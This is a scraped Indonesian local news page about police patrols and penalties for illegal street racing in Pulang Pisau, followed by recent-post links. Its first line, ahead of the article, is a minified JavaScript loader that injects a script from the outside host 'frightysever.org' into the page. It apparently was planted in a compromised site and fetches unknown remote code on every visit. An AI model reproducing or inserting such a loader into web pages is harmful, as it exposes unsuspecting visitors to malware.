(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Pulang Pisau

Resahkan Warga, Aksi Balap Liar Terus Diburu Polres Pulpis


PULANG PISAU, Mencegah terjadinya aksi kriminalitas jalanan seperti aksi balapan liar, Satuan Lalu lintas (Sat Lantas) Polres Pulang Pisau menggelar patroli setiap malam di sejumlah ruas jalan di kota Pulang Pisau. Disinyalir saat Minggu malam dan Kamis malam disebut-sebut hari rawan aksi balapan liar di jalanan.

“Atas perintah Kapolres  Pulang Pisau AKBP  Siswo Yuwono BPM, kami terus rutin melakukan patroli lalu lintas. Khususnya titik-titik yang selama ini sering dilaporkan masyarakat menjadi tempat aksi balapan liar. Seperti di ruas jalan Darung Bawan, jalan Tingang Menteng hingga menyisir tempat ramai seperti di Taman Sumbu Kurung dan taman samping rujab. Sejak giat patroli meningkat, alhamdulillah keluhan aksi balapan liar sekarang mulai turun,” ungkap Kasatlantas Polres Pulang Pisau Iptu Suprianto.

Dikatakan Iptu Suprianto, balapan liar merupakan bentuk aksi yang sangat berbahaya. Selain dapat menciderai diri sendiri juga mengganggu ketertiban pengendara lainnya. Tidak sedikit akibat dari kebut-kebutan tersebut berujung kecelakaan hingga meninggal dunia. Polres Pulpis tegas akan menindak jika masih kedapatan ada aksi balapan liar di Pulang Pisau.

Kasatlantas Polres Pulang Pisau Iptu Suprianto. Foto : polres pulpis

“Di beberapa ruas jalan sudah terpasang CCTV. Jika pelaku tertangkap, maka akan ada sanksi berupaya denda hingga penahanan barang bukti dan hukuman kurungan bagi pelaku hingga 3 bulan,” ujarnya. Ini sesuai dengan pasal 115 Undang-Undang Nomor 22 tahun 2009 tentang Lalu Lintas dan Angkutan Jalan.

“Saran saya daripada balapan liar, mending salurkan untuk hal-hal yang positif. Misalnya usulkan arena balap, itu lebih bagus,” kata Suprianto.

Pihaknya mengaku siap menerima laporan masyarakat, jika melihat ada aksi balapan liar ataupun kejadian kecelakaan lalu lintas di wilayah hukum Pulang Pisau dengan nomor Ponsel pribadinya di +62 813-4904-9986. Petugas lalu lintas akan dikatakannya akan sigap turun melayani masyarakat. (sjy)

Reporter : Sjy
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Amuntai Expo dan Bazar Ekonomi Kreatif 2024

KANALKALIMANTAN.COM, AMUNTAI - Memeriahkan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU) digelar Amuntai Expo… Read More

3 jam ago

Warga Muhammadiyah Banjarbaru Berhalalbihalal di Masjid At Taqwa

KANALKALIMANTAN.COM, BANJARBARU - Pimpinan Cabang Muhammadiyah Banjarbaru Utara menggelar halalbihalal sekaligus Hari Bermuhammadiyah kali pertama… Read More

6 jam ago

5 Mei Hari Bidan Sedunia

KANALKALIMANTAN.COM – Negara-negara di dunia merayakan Hari Bidan Sedunia yang jatuh pada 5 Mei setiap… Read More

12 jam ago

Syamsudin Noor Jadi Bandara Domestik, Begini Respon Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pencopotan status internasional pada Bandara Syamsudin Noor Banjarmasin yang terletak di Kota… Read More

12 jam ago

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

15 jam ago

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

19 jam ago

This website uses cookies.